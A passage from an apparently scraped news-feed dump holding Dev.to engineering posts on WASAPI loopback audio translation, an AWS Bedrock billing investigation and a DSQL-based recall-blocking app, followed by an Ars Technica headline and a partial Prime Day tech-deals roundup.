mono, and do it without installing anything. Then stream it to a translation model and play the result back, all while the original keeps playing underneath.\nThree constraints fall out of that:\nDriverless. If it needs a reboot and a driver, it's not zero-setup.\nNo self-feedback. The app plays translated audio into the same system mix it's capturing. Naively, it would capture its own voice and translate the translation. That has to be impossible by construction, not patched with an echo gate.\nRealtime-safe. Capture can't stall. If the downstream VAD or garbage collector hiccups, the WASAPI ring buffer must not overflow.\nWindows 10 version 2004 added the ApplicationLoopback API — a way to activate an IAudioClient in loopback mode scoped to a process tree, either including only that tree or excluding it. Excluding our own process tree is exactly what constraint #2 needs: the captured mix is everything the user hears, with Voxis's own output removed.\nYou don't get this client from the normal IMMDeviceEnumerator path. You activate it by name through ActivateAudioInterfaceAsync, passing the loopback parameters in a PROPVARIANT carrying a BLOB:\nparams = AUDIOCLIENT_ACTIVATION_PARAMS()\nparams.ActivationType = AUDIOCLIENT_ACTIVATION_TYPE_PROCESS_LOOPBACK\nparams.u.ProcessLoopbackParams.TargetProcessId = my_pid\nparams.u.ProcessLoopbackParams.ProcessLoopbackMode = \\\n    PROCESS_LOOPBACK_MODE_EXCLUDE_TARGET_PROCESS_TREE\n\npv = PROPVARIANT()\npv.vt = VT_BLOB\npv.blob.cbSize = sizeof(params)\npv.blob.pBlobData = ctypes.cast(byref(params), c_void_p)\n\nThe device name is the magic string VAD\\Process_Loopback. The activation is asynchronous: you hand ActivateAudioInterfaceAsync a completion handler and wait for it to fire.\nHere's the one that cost me an afternoon. The completion handler is a COM object you implement yourself (in Python, via comtypes.COMObject). If it only implements IActivateAudioInterfaceCompletionHandler, ActivateAudioInterfaceAsync returns E_ILLEGAL_METHOD_CALL and nothing tells you why.\nThe fix: the handler must also implement IAgileObject — a marker interface with no methods that declares the object as apartment-agnostic. Add it to the COM interface list and the activation succeeds:\nclass _Handler(COMObject):\n    _com_interfaces_ = [IActivateAudioInterfaceCompletionHandler, IAgileObject]\n\nIAgileObject has an empty method list — it's purely a \"you may call me from any apartment\" promise. WASAPI refuses to proceed without it.\nThe other nicety: WASAPI lets you Initialize the loopback client with the exact WAVEFORMATEX you want. I request 16 kHz, mono, 16-bit PCM directly — which happens to be exactly what the translation model wants as input — so there's no resampling step in the hot path:\nwfx.nChannels = 1\nwfx.nSamplesPerSec = 16000\nwfx.wBitsPerSample = 16\nclient.Initialize(AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_LOOPBACK,\n                  2_000_000, 0, byref(wfx), None)\n\nThat 2_000_000 is a 200 ms buffer in 100-ns units.\nA loopback capture loop has one job it must never miss: call GetBuffer, copy the bytes, call ReleaseBuffer. If ReleaseBuffer is late because something downstream is slow, the ring overflows and you get glitches.\nSo capture and processing are split across two threads with a bounded queue between them:\nCapture thread: GetNextPacketSize → GetBuffer → copy into a numpy array → ReleaseBuffer → append to a deque. That's all it does. It never runs the VAD or the network code.\nProcessor thread: drains the deque and runs the (sometimes slow) per-chunk callback — VAD gating, then handoff to the translator.\nThe queue is a collections.deque(maxlen=N) — drop-oldest by construction. If the processor falls behind, old audio is dropped to bound latency rather than letting the capture thread block. A GC pause or a VAD stall in the consumer therefore can never delay ReleaseBuffer. This is the single most important design decision in the capture path, and it's three lines of code.\nself._queue = collections.deque(maxlen=64)   # bounded; ~a buffer's worth of packets\n# capture thread:\nself._queue.append(x)        # never blocks; oldest is discarded under pressure\n\nWhen the translation speaks, you want the original quieter so the two voices don't fight. The tempting approach is to mix — capture the audio, attenuate it, play it back yourself. But then you own playback, latency, and device routing for every app on the system.\nInstead, Voxis ducks at the source using the Windows session-volume API (ISimpleAudioVolume via pycaw): turn down the audio session of the app that's playing, not the bytes in our pipeline. The original keeps playing through its own path, untouched except for its level, and pops back up when the translation stops. No mixing, no added latency on the original, nothing to route.\n(There's a second capture path for people who do install a virtual cable, where Voxis can do real M/S center-suppression to duck dialogue while preserving stereo music — but that's opt-in, and the driverless path above is the default.)\nPeople always ask why it's not instant. Two honest sentences:\nThe translation model is a native simultaneous interpreter. Fed a continuous stream, it translates as the speaker talks and self-balances quality against sync, staying a few seconds behind — that ear-voice span is by design (it waits for enough context to translate a clause correctly), and it is not a knob the client can turn. There's no \"go faster\" setting.\nWhat I can do is not add latency on top:\nWarm the connection before capture starts, so the first sentence doesn't pay for the cold WebSocket handshake.\nDisable WebSocket per-message compression — it's pure overhead for PCM.\nSend a continuous stream, not client-side endpointing. The model owns its own endpointing; bracketing turns from the client only fights it.\nPin the VAD to CPU. Silero VAD at batch size 1 is lower-latency on CPU than paying for a host↔device round-trip, and it avoids a CUDA-DLL probe stall on machines without a GPU.\nBound the input queue drop-oldest, so a slow moment never snowballs into a growing backlog.\nNone of these touch the model's core lag. I think it's better to say that clearly than to imply a few client tweaks made it real-time.\nVoxis is open-core. The engine is on GitHub and runs BYOK — bring your own Gemini key, stored encrypted on your machine and bound to your Windows account. The open-source build makes no calls to my backend: no auth, no quota, no telemetry, no usage reporting. The only network it touches is the Gemini WebSocket your own key opens.\nThat's easy to claim and easy to break by accident. So the public-repo boundary is policed by a release-hygiene script wired into CI and a pre-push hook: it rejects any closed-core path, any live-secret signature, and any unguarded import of the closed package. A clean run is a release precondition. The separation is a property the build proves, not a promise in a README.\nWindows only. The whole capture story is a Windows-specific WASAPI feature. Other platforms would need a different capture strategy entirely.\nGemini-dependent. It's built on one provider's live translate model. If that model changes, Voxis changes with it.\nMeeting outgoing needs a virtual mic. Sending your translated voice into a call means presenting a microphone the meeting app can select, and Windows only lets a virtual audio driver do that. Incoming translation needs nothing; outgoing falls back to listen-only without a cable.\nThe engine, the loopback code, and the CI boundary are all in the repo: https://github.com/DavutAkca/voxislive (PolyForm Noncommercial).\nIf you've shipped WASAPI loopback from a managed/scripted language, I'd genuinely like to compare notes on the activation handler and the agile-object requirement — drop a comment.","content":"<p>I build Voxis, an open-source Windows app that translates whatever your system is playing — a video, a game, the other side of a call — and plays the translation back as spoken voice, a few seconds behind the speaker. No subtitles, no virtual audio cable, no bot joining your meeting.</p>\n\n<p>The \"no virtual cable\" part is the bit worth writing about. Almost every system-audio tool on Windows tells you to install VB-CABLE or VoiceMeeter, or to drop a bot into your call. Voxis doesn't, for inco","url":"https://dev.to/davutakca/translating-windows-system-audio-in-real-time-driverless-with-no-virtual-cable-2842","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 03:54:23 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"My app didn't go \"viral\". My AWS bill did.","description":"And by viral I mean from $0 to $31. \nUmami told me Clew Directive got 14 visits last month. AWS told me I owed $31 for it. That works out to $2.21 a visitor, which would make it the most expensive free learning-path tool in California.\nSpoiler alert: 14 visitors, $31, and not a single one of them was the reason.\nSomething was off. Here is how Amazon Q, Claude, and a few hours of reading my own code untangled it. The app turned out to be innocent.\nA free, stateless tool that builds you a personalized AI learning-path PDF. You take a 60-second Vibe Check, four questions about your goals and how you learn, and it maps you to free, verified resources and hands you a briefing. No accounts, no database, no paywall, nothing stored about you. It runs on Amazon Nova, which is why it costs close to nothing to operate, which is also why a $31 bill made no sense.\nThe name is the Theseus kind of clew. A ball of thread to find your way out of the maze. Less hype, more direction. Live at clewdirective.com.\nTwelve visitors, 14 visits, 93% bounce, average session about a minute. Referrers from Bing, Google, Yahoo, GitHub. Visitors from the US, India, Netherlands, Egypt, Ethiopia, Singapore. Mostly crawlers stopping by to say hello.\nA few curious humans and a parade of bots is not a $31 month. So either every visit was doing something enormous, or the bill was never about visits at all.\nMy cost tracker said Clew Directive was running on Claude Sonnet. Sonnet is the expensive one. Case closed, right?\nI opened the repo. Clew Directive does not run Sonnet. The Navigator agent runs Amazon Nova 2 Lite. Scout and Curator run Nova Micro. The IAM policy is scoped to Nova ARNs only, so a Sonnet call from these functions would come back AccessDenied. The app physically cannot bill Sonnet.\nThe math agreed. A full learning-path generation on Nova costs about two-tenths of a cent. Fourteen visits, even with the agents fanning out to a few calls each, rounds to lunch money. Nothing here gets you to $31.\nOne detail I want to flag, because it set the tone for the whole hunt. The same assistant, Q, that mislabeled the model also quoted me Haiku pricing at a quarter of the real rate. So here is the rule I kept coming back to: trust what a tool retrieves, verify what it remembers. Those are two different things.\nThe question stopped being \"why is my app so expensive\" and became \"what is actually spending, and why is it wearing my app's name.\"\nQ pulled the breakdown. The month was 28 million tokens across only 8 active days, and two of those days did 70% of the work. May 24 and 25. Memorial Day weekend.\nThe shape of the cost was the real tell (Sonnet only):\nCache writes: 4.1M tokens, $15.33 (55%)\nCache reads: 23.8M tokens, $7.14 (26%)\nOutput: 346K tokens, $5.20\nInput: 120K tokens, $0.36\nA web app serving 14 visitors does not look like that. Heavy cache write up front, heavy cache read after, almost no real input or output, is the signature of an agent reasoning over a big fixed context. It loads that context once, caches it, then re-reads it on every turn.\nClew Directive does no prompt caching at all. So whatever ran up the bill, it was an agent chewing on a large cached context, not an app answering users. Which pointed me at a very different project.\nClew Directive had zero commits on May 24 or 25. Last time I touched it was May 9.\nA different repo lit up. vigil-crest. Created May 23, four commits on May 24. And I know exactly what it is, because I wrote a whole article about it and published it on, of course, May 24.\nVigil Crest is a challenge-triage agent I talk to on Telegram. It browses the live DEV challenge feed and tells me which hackathons are worth my time. Its stack, in my own published words: AWS Bedrock running Claude Sonnet 4.6, reached through an EC2 instance role so no credentials sit on the box, hosted on an always-on t3.micro. Read that back against what CloudTrail handed me: an assumed role, vigil-crest-bedrock-role, on an EC2 instance, calling claude-sonnet through the streaming API. (I am not pasting the full ARN. Account IDs stay home.)\nSame project. Same box. Same model. The weekend I shipped it.\nSo the $28 was vigil-crest, on Sonnet, while I spent two days hammering on it before submission. Each triage run caches a fat context, the agent persona, the stack file, the rendered challenge feed, then re-reads it across turns. That is the cache-heavy shape, exactly. Whether it was the agent's own test runs or the tooling I built it with, both ran on that one EC2 box under that one role. Real work, priced correctly, just filed under the wrong project.\nI want to shine a light on how this got solved, because neither tool did it alone and neither did I.\nAmazon Q in the console has one thing Claude does not: keys to the building. It reads my live account. CloudTrail, Cost Explorer, the actual deployed config, the IAM principal behind a single call. That is the force multiplier. I do not have CloudTrail memorized and I am not going to hand-read every IAM policy at 9pm. Q walked the crime scene and came back with the role name, the instance, the timestamp, the model, in minutes. That is the legwork no amount of reasoning replaces.\nBut access is not the same as the right conclusion. Q pulled clean evidence and attached the wrong story to it three times. It was a runaway process. It was your app. Check your application logs. Every pass, perfect data, wrong suspect. The evidence was never the problem. The narrative on top of it was.\nClaude could not see my account at all. What it could do was refuse the easy story and push the evidence back through the actual code and the math. The repo says Nova. The IAM says AccessDenied for Sonnet. The token shape says agent, not app. It also said, out loud, that it could only see my commits and not my deployments, so part of this was inference and I should confirm it. A tool telling me where its own knowledge stops is worth more than one that sounds certain.\nSo Q was the detective with the magnifying glass on the real scene, and Claude was the Watson who kept asking does that actually follow. The twist is that in this case Watson is the one who pushed back on the detective. Sherlock had the keys. Watson had the doubt. I had to point them at each other and refuse to take the first confident sentence either one offered.\nThere is a tidy irony in here. Vigil Crest, the agent that ran up the bill, is built on exactly this idea: a verdict that knows how sure it is beats a confident guess. It hedges its calls on purpose. Solving its own bill came down to making my tools do the same thing, separate what they pulled from what they assumed. The agent's whole design philosophy is what cracked the case it caused.\nThe bill was never about traffic. Umami is client-side JavaScript. It counts browsers that run my script. It cannot see bots, it cannot see API calls, and it has nothing to do with Bedrock spend. I had tied two unrelated numbers together and scared myself.\nThe project label was a guess, not a fact. Bedrock charges are account-level. They do not inherit the tags of whatever called them. Unless you set up Application Inference Profiles and call those, every model dollar lands in a bucket marked \"no project,\" and something has to claim it. Mine claimed Clew Directive by assumption.\nThe cost that bites you is the quiet one. The $31 sprint is over. June reads $0. The token burst was loud and self-limiting, it ended when I closed the laptop. The thing that does not end is the EC2 box under Vigil Crest, billing by the hour because it is meant to stay on. A small always-on t3.micro is cheap, but cheap and forgotten is how standing costs sneak up. Know what you keep running, and why.\nThe AI tools were useful and wrong in the same breath. Q read CloudTrail and Cost Explorer cleanly and narrated the wrong story three times, blaming my app on every pass. Claude caught the bad pricing and read the repos, and still had to admit it could see commits, not deployments. The actual work was pinning each claim to a source instead of to a confident sentence. Trust retrieval. Verify recall.\nSo no, Clew Directive did not go viral. It served 14 people and a crowd of crawlers and cost me almost nothing, which is exactly what it was built to do.\nThe bill was me, in a trench coat made of EC2, building the next thing.\nTell AWS. I want them to know it was me.\nClew Directive is free and open source. Find your way out of the AI-course maze at clewdirective.com.\nAI Assisted. Human Approved. Powered by NLP.","content":"<p><strong>And by viral I mean from $0 to $31.</strong> </p>\n\n<p><a href=\"https://umami.is/\" rel=\"noopener noreferrer\">Umami</a> told me <a href=\"//clewdirective.com\">Clew Directive</a> got 14 visits last month. AWS told me I owed $31 for it. That works out to $2.21 a visitor, which would make it the most expensive free learning-path tool in California.</p>\n\n<p>Spoiler alert: 14 visitors, $31, and not a single one of them was the reason.</p>\n\n<p>Something was off. Here is how Amazon Q, Claude, a","url":"https://dev.to/earlgreyhot1701d/my-app-didnt-go-viral-my-aws-bill-did-434h","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 03:54:05 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"Making product recalls executable with Aurora DSQL and Vercel","description":"Live demo: https://safestate.vercel.app , code: https://github.com/usv240/safestate\nA product recall today is basically a notice. It lives on a webpage, or a PDF, or an email that somebody is supposed to read. Say the problem out loud and it gets uncomfortable fast. A recalled crib can be listed and sold to another family, and nobody in that sale ever sees the recall. Reselling recalled goods is actually illegal, and recalled infant products have killed kids.\nI spent this hackathon building something to close that gap. I called it SafeState, and the idea is small: make the recall do something. When a second-hand item is listed or sold, the marketplace checks SafeState first, and recalled units get blocked right at checkout. It is precise down to the serial number, so safe units still sell.\nIt runs on the stack this hackathon is about. A Next.js front end on Vercel, with Amazon Aurora DSQL behind it.\nThe promise SafeState has to keep is this: the moment a recall lands in any region, no marketplace anywhere should ever read that product as \"safe\" again.\nThat is a strong consistency problem, not a nice-to-have. If there is any window where a recalled product still looks safe, that is exactly when it gets sold. An eventually consistent store or a nightly sync leaves that window open. DSQL's active-active, multi-region setup with strong consistency is what closes it.\nI set up a real peered cluster across us-east-1 and us-east-2, with us-west-2 as the witness. Write a recall through one region's endpoint and you can read it back from the other region right away. There is a page in the app that lets you run that yourself.\nDSQL runs on snapshot isolation (PostgreSQL REPEATABLE READ) with optimistic concurrency. It catches write-write conflicts at commit time. Snapshot isolation will not protect you from write skew, so I had to design around that.\nTo guarantee that a recall and a sale of the same product actually collide, I make both of them write the same row. Every model has one safety_guard row that holds its status and an epoch number.\n// authorize-transfer, simplified. The AUTHORIZED path touches the SAME guard\n// row a concurrent recall writes, so DSQL is forced to detect the conflict.\nawait client.query(\"BEGIN\");\nawait client.query(\"SELECT epoch FROM safety_guard WHERE model_id = $1 FOR UPDATE\", [modelId]);\n\n// ...evaluate every active directive against THIS unit's serial...\n// if it is covered, return BLOCKED. otherwise:\n\nawait client.query(\"INSERT INTO ownership_transfers (...) VALUES (...)\");\nawait client.query(\"UPDATE product_instances SET current_owner_id = $1 WHERE id = $2\", [buyer, id]);\nawait client.query(\"UPDATE safety_guard SET updated_at = now() WHERE model_id = $1\", [modelId]); // the conflict-forcing write\nawait client.query(\"COMMIT\"); // the loser throws SQLSTATE 40001 / OC000 here\n\nIf the recall commits first, the sale's COMMIT throws SQLSTATE 40001 (OC000). A small wrapper catches it, backs off with some jitter, and runs the whole transaction again. The second time around it reads the recalled state and returns BLOCKED. So there is no version of events where a recalled product slips through as safe.\nconst RETRYABLE = new Set([\"40001\", \"OC000\", \"OC001\"]);\n// retry the WHOLE transaction on conflict, backoff plus jitter, max 3 attempts\n\nRoute handlers talk to DSQL over the normal Postgres protocol, but auth is a short-lived IAM token minted per connection with @aws-sdk/dsql-signer. There is no database password sitting in an env var anywhere.\nA Vercel Cron job pulls real recalls from the public CPSC API once a day. And Claude reads messy second-hand listings, the kind a person actually writes (\"used baby sleeper, works fine\"), and figures out which recall they match, with a confidence score. The uncertain ones go to a review queue instead of being auto-blocked.\nOne thing that cost me an hour. Vercel functions run on Lambda, and Lambda reserves AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_REGION. You cannot set those as env vars. So I pass the DSQL credentials under different names and hand them to the signer directly.\nconst creds = process.env.SAFESTATE_AWS_ACCESS_KEY_ID\n  ? { accessKeyId: process.env.SAFESTATE_AWS_ACCESS_KEY_ID, secretAccessKey: process.env.SAFESTATE_AWS_SECRET_ACCESS_KEY }\n  : undefined; // local dev falls back to the default AWS provider chain\nconst signer = new DsqlSigner(creds ? { hostname, region, credentials: creds } : { hostname, region });\n\nIf you build on DSQL, pick a problem where being correct under concurrency is the actual product, not a side detail. That is where it earns its keep. Make your conflicting operations write the same row so OCC has something to catch. And write the retry-on-40001 wrapper before anything else, because you will lean on it constantly.\nRecalls should stop being PDFs and start being decisions. Aurora DSQL and Vercel got me there over a weekend.\nLive: https://safestate.vercel.app , code: https://github.com/usv240/safestate\nI built this for the H0: Hack the Zero Stack hackathon. #H0Hackathon","content":"<blockquote>\n<p>Live demo: <a href=\"https://safestate.vercel.app\" rel=\"noopener noreferrer\">https://safestate.vercel.app</a> , code: <a href=\"https://github.com/usv240/safestate\" rel=\"noopener noreferrer\">https://github.com/usv240/safestate</a></p>\n</blockquote>\n\n<p>A product recall today is basically a notice. It lives on a webpage, or a PDF, or an email that somebody is supposed to read. Say the problem out loud and it gets uncomfortable fast. A recalled crib can be listed and sold to another ","url":"https://dev.to/ujwal240/making-product-recalls-executable-with-aurora-dsql-and-vercel-2nja","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 03:53:41 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"13 years and $500 million for a stage adapter? Report justifies NASA cancellations.","description":"\"Contract values for these efforts ballooned from nearly $2.8 billion to $5.9 billion.\"","url":"https://arstechnica.com/space/2026/06/analysis-finds-the-exploration-programs-nasa-recently-canceled-were-running-way-late/","imageUrl":"https://cdn.arstechnica.net/wp-content/uploads/2026/06/NASA_MSFC_031224_USA-DTA-install-onto-test-stand-4large-1152x648.jpg","domain":"Ars Technica","pubDate":"Wed, 24 Jun 2026 21:41:03 +0000","hasFullContent":false,"language":"en","region":"us"},{"title":"The top tech Prime Day deals to shop on day two","description":"Welcome to day two of Amazon’s four-day Prime Day event, which, if we’re being honest, looks a lot like day one. That’s actually good news, though, because many of the best deals are still around, and some new ones have joined them. If you’ve got a Prime subscription, whether through a free trial or a discounted student membership, you’ll find our favorite deals below.\nNot every Prime Day deal deserves your attention, so we’ve filled this guide with products we know and genuinely like. Our team has spent years living with, testing, and comparing everything from robot vacuums and TVs to headphones and smart home gadgets, and the deals below are the ones we can confidently vouch for. We’ve also sprinkled in matching prices from retailers like Best Buy, Walmart, and Target whenever we find them, so you don’t necessarily need a Prime membership to save.\nIf you’re shopping for something specific, we’ve got dedicated roundups covering Apple gear, budget-friendly picks, smart home devices, TVs, and much more. We’ll also be updating this guide throughout the day as new deals pop up and old ones disappear, so check back occasionally.\nSmart home deals\nEcho Show 8 (2025)\nThe updated Echo Show 8 features an 8.7-inch display with 720p resolution, wider viewing angles, and higher contrast. It includes a 13-megapixel camera, new stereo speakers, and supports Alexa Plus, while doubling as a smart home hub with support for Zigbee, Matter, and Thread. Read our review.\n\nWhere to Buy:\n\n $179.99 $124.99 at Amazon\n $179.99 at Best Buy\n $179.99 at Target\n\nAmazon’s Echo Show 11 is on sale for $149.99 ($80 off) at Amazon, which marks its best price to date. It’s almost identical to the Echo Show 8, except that it offers a larger and sharper 1080p resolution.\nYou can buy the latest Echo Show 5 for $59.99 ($30 off) at Amazon, which is one of its better prices in recent months though $20 shy of its all-time low. The smart display also works with Alexa Plus, but it’s smaller than the Echo Show 8 with less robust sound, and better suited for small table tops or office desks.\nPhilips Hue smart bulb starter kit\nThe Philips Hue smart bulb starter kit comes with color-changing bulbs with 800 lumens of peak brightness that can be controlled with Alexa, Google Assistant, or the companion app. The included Hue Bridge lets you set custom lighting routines and expand your setup to 50 lights.\n\nWhere to Buy:\n\n $142.99 $67.99 at Amazon (two bulbs)\n\nThe Philips Hue Go Smart Portable Table Lamp is on sale for $123.47 ($53 off) at Amazon, which is a new low. The water resistant lamp can display millions of colors and lasts 48 hours on a single charge. It also offers customizable lighting effects and support for Matter, so you can control it via any major smart home platform.\nIf you like the idea of the Philips Hue portable smart lamp but want something cheaper, Govee’s Table Lamp Classic is down to a new low of $55.99 ($25 off) at Amazon. The rechargeable lamp isn’t weather-resistant, but it offers up to 30 hours of battery life, adjustable color temperatures, and dozens of preset scenes and colorful lighting effects.\nPhilips Hue Twilight sleep-wake lamp\nGrab a great deal on this gorgeous sleep-wake light, now at its lowest-ever price. The striking Twilight lamp does so much more than just gradually brighten the light. Its full-color gradient LEDs create stunning sunrise and sunset scenes to help you wake up and wind down. It also serves as a smart home button to control other Hue lights and smart devices.\n\nWhere to Buy:\n\n $307.99 $261.79 at Amazon\n $307.99 $239.99 at Philips Hue (with code GOAL25)\n\n\nAmazon Echo Spot\nThe Echo Spot is an excellent smart alarm clock with decent sound for its size and no camera. It features Amazon’s smart voice assistant for voice control and is worthy of a spot on your nightstand. Read our review.\n\nWhere to Buy:\n\n $79.99 $44.99 at Amazon\n\nThe foundation of a good smart home is Wi-Fi, so if you’re still rocking a router with Wi-Fi 6 or even 5, Prime Day is a good time to upgrade. All of Amazon’s eero mesh Wifi routers are on sale, and its flagship eero Wifi 7 Pro is down to $549.99 from $699.99. If you don’t need that much power, the equally capable eero Wifi 6E is down to $329.99 for a three-pack.\nRing Battery Doorbell Plus (second-gen)\nThe 2026 doorbell offers 2K video and 6x zoom, plus a removable battery. It supports Ring’s Retinal Vision, which uses AI to improve footage quality.\n\nWhere to Buy:\n\n $239.99 $119.99 at Amazon (includes Indoor Cam Plus)\n\n\nGoogle Nest Wifi Pro\nIf you’re a Google smart home user, the Google Nest WiFi sporting 6E is almost 40 percent off for a 3-pack. In addition to Wi-Fi 6E, the Pro supports Matter and Thread smart home connectivity, \n\nWhere to Buy:\n\n $399.99 $249.99 at Amazon (three)\n\nThe rubbed-bronze version of the versatile Yale Assure Lock 2 with WiFi is $70 off on Prime Day, discounted to $189.98. This lock features a real keypad, not a touchscreen, along with support for all the major smart home platforms, including Apple Home (although it doesn’t work with Home Key).\nBlink Video Doorbell (second-gen)\nThe latest Blink Video Doorbell is a nice step up from its predecessor, offering a 1080p head-to-toe view and more accurate motion alerts. The second-gen model promises up to two years of battery life, while an infrared night vision mode allows you to get a beat on visitors when it’s dark outside. When someone does drop by, you don’t even need to get up to answer, as it supports two-way talk through the Blink app.\n\nWhere to Buy:\n\n $59.99 $23.99 at Amazon (with Prime)\n\n\nSkylight Calendar 2\nThe 15-inch Skylight Calendar 2 shows color-coded schedules at a glance, with built-in tools for assigning chores, meal planning, and more. It can also import events from photos and automatically sync with calendars from Apple, Google, and Outlook.\n\nWhere to Buy:\n\n $299.99 $269.99 at Amazon\n $299.99 $269.99 at Best Buy\n\nThe Aura Carver is on sale for $143 ($36 off) at Amazon, which is its best price to date. The 10-inch Wi-Fi digital picture frame lets you add photos remotely through the Aura app, email, or supported cloud services. You also upload 30-second videos and live photos, all without requiring a subscription.\nAqara Smart Lock U400\nThe only smart lock that works with Apple Home’s hands-free Home Key feature, the U400 is down to its lowest price. Aqara’s first UWB-enabled smart lock also features fingerprint access, a keypad, a keyway, and support for tap-to-unlock with iPhones and Samsung Galaxy phones, thanks to Aliro.\n\nWhere to Buy:\n\n $269.99 $219.99 at Amazon\n\n\nSwitchBot Bot\nIf you’ve ever wished you had a robot that could push a button for you, that’s precisely what the SwitchBot Bot does. It’s simple, smart, and works on anything with a button. Stick it on the device you want to turn on or off, and you’re set. \n\nWhere to Buy:\n\n $29.99 $19.99 at Amazon\n $29.99 $20.09 at SwitchBot (with code PDDAY33)\n\n\nSwitchBot Standing Circulator Fan\nThis handy portable smart fan is down to under $100. It can run on battery or be plugged in for permanent power and works as a tabletop or standing fan. The SwitchBot Fan features oscillation, and a built-in night light with smart controls is available through the SwitchBot app or connected smart home platforms. \n\nWhere to Buy:\n\n $129.97 $89.99 at Amazon\n $129.99 $90.99 at SwitchBot (w/ code PDDAY30)\n\nE-reader deals\nThe tiny, charming 4.3-inch Xteink X4 e-reader that can magnetically snap onto surfaces, even to the back of MagSafe-ready phones, is down to $55.20 at Amazon (originally $69). Read our review.\nKindle Paperwhite (12th-gen)\nAmazon’s latest Kindle Paperwhite — aka our favorite ebook reader — is waterproof, has a seven-inch display, and lasts weeks per charge. Read our review.\n\nWhere to Buy:\n\n $159.99 $124.99 at Amazon (with ads)\n $179.99 $144.99 at Amazon (without ads)\n\nAmazon’s Kindle Colorsoft Signature Edition (its moniker for the 32GB version that supports wireless charging and has an auto-adjusting front light) is down to its best-ever price when purchased as a bundle. The “Essentials Bundle” that includes the e-reader, a leather cover, and a wireless charging dock is $257.97 ($132 off) at Amazon. The 16GB version that lacks the Signature features but includes the leather cover is $182.97 at Amazon. Read our review.\nThe other color e-reader that Amazon sells, the Scribe Colorsoft, is available in a bundle that’s steeply discounted. The 32GB model that includes a pen, leather folio, and a power adapter is $549.97 ($220 off) at Amazon, down from its usual sale price of $729.97. It’s a fantastic deal considering just the tablet and pen typically sell for $629.99 and hasn’t previously been discounted. Read our review.\nKindle (11th-gen)\n Amazon’s latest entry-level Kindle retains a six-inch, 300ppi display and USB-C charger. It’s brighter and slightly faster than its predecessor, though, and features longer battery life.\n\nWhere to Buy:\n\n $109.99 $84.99 at Amazon (with ads)\n $129.99 $104.99 at Amazon (without ads)\n\n\nKobo Libra Colour\nThe Libra Colour is one of the first e-readers from Kobo with color. It packs physical-page turning buttons, stylus compatibility, and supports a broad range of file formats, while making it easy to borrow books from the Overdrive library system. Read our review.\n\nWhere to Buy:\n\n $259.99 $229.99 at Rakuten Kobo\n $259.99 $229.99 at Target\n\nHeadphone and earbud deals\nSony WH-1000XM6\nSony’s latest pair of flagship headphones feature improved comfort, better noise cancellation, and the ability to charge while in use. They even fold down for travel, which can’t be said about the last-gen XM5. Read our initial impressions.\n\nWhere to Buy:\n\n $449.99 $378 at Amazon\n $449.99 $378 at Best Buy\n $449.99 $399.99 at Target\n\nSony’s last-gen WH-1000XM5 noise-canceling headphones are selling for $198 at Amazon, which is the retailer’s best price yet. The set debuted for $399.99 and only really started dropping in price when its successor was released. While the XM6 gets the edge in terms of sound quality, comfort, and for having a foldable design, the XM5 are still fantastic — arguably the best over-ear headphones you can get at this price.\nAirPods Max 2\nApple’s over-ears retain the premium design of the original while delivering improved sound quality and noise cancellation. They also sport Apple’s H2 chip, which enables newer features like live translation. Read our review.\n\nWhere to Buy:\n\n $549 $399 at Amazon\n $549 $399 at Walmart\n\n\nBose QuietComfort Ultra Earbuds (2nd Gen)\nThe second-gen QuietComfort Ultra Earbuds have dynamic, rich sound and the best noise cancellation currently available in a pair of true wireless earbuds. They’re a terrific pick if you want to listen to your music in peace. Read our review.\n\nWhere to Buy:\n\n $299 $249 at Amazon\n $299 $249 at Best Buy\n\nThe second-gen Bose QuietComfort Ultra over-ear headphones are selling for $379, one of their best prices yet, at Amazon. Originally $449, the noise-canceling headphones boast improved battery life with ANC switched on (up to 30 hours per charge), plus the ability to play lossless audio via their USB-C port, just like the AirPods Max 2.\nPixel Buds 2a\nGoogle’s latest pair of wireless earbuds feature crisp sound quality, a comfortable design, and solid active noise cancellation, which is great considering the budget-friendly price tag. They even offer built-in support for Gemini and, unlike the entry-level AirPods, a purple option! Read our review.\n\nWhere to Buy:\n\n $129 $99 at Amazon\n $129 $109 at Google\n $129 $109 at Best Buy\n\nThe original Pixel Buds A are still around and kicking, and still a fine deal if you just want the basics. They’re on sale for just $49 ($50 off) at Amazon. Read our review.\nJBL might not be the first brand you associate with great over-ear noise-canceling headphones, but its Tour One M3 Smart Tx are a sleeper hit that’s currently down to its best price yet at Amazon. You can grab them for $249.95, which is $200 off their original price. They’re comfortable, and they sound great. But what sets them apart from competitors is the Auracast-compatible audio transmitter that lets the headphones connect to (and share) audio with other Auracast devices.\nAirPods Pro 3\nThe AirPods Pro 3 have a new design that improves their fit, superior noise cancellation, better bass, and fairly accurate heart rate sensors. Read our review.\n\nWhere to Buy:\n\n $249 $179 at Amazon\n $249 $179 at Walmart\n $249 $179.99 at Best Buy\n\n\nNothing Ear (a)\nNothing’s Ear (a) earbuds have the same general design as the company’s previous earbuds — but you can get these in a snazzy yellow. They include ANC, more than decent sound quality, and other features like multipoint for just under $100. Read our impressions.\n\nWhere to Buy:\n\n $99 $53.2 at Amazon (black)\n $99 $56 at Amazon (yellow)\n $99 $56 at Amazon (white)\n\n\nShokz OpenRun Pro 2\nThe OpenRun Pro 2 are Shokz’s best bone conduction headphones yet, with better sound and more bass than their predecessor. Our reviewer Victoria Song praised their cozy fit as well as their USB-C charging (goodbye, proprietary charger!). Read our review.\n\nWhere to Buy:\n\n $179.95 $119.95 at Amazon\n $179.99 $124.99 at Best Buy\n $179.95 $124.95 at Shokz \n\n\nShokz OpenFit 2 Plus\nThe OpenFit 2 Plus are nearly identical to the OpenFit 2 we tested in 2025. The wireless earbuds feature the same open-style design, a set of onboard controls, and dedicated bass speakers, but they also support wireless charging and Dolby Audio.\n\nWhere to Buy:\n\n $199 $139.99 at Best Buy\n $199 $139.95 at Shokz (with free wireless charger)\n\n\nFractal Scape gaming headset\n\nWhere to Buy:\n\n $199.99 $161.49 at Amazon (gray)\n $199.99 $161.49 at Amazon (black)\n\nCharger and battery deals\nAnker Laptop Power Bank\nAnker’s aptly titled Laptop Power Bank is a lifesaver for anyone who works or studies on the go. With an impressive 25,000mAh capacity and a total output of 165W, it can quickly charge a beefy MacBook Pro to 50 percent capacity in under 30 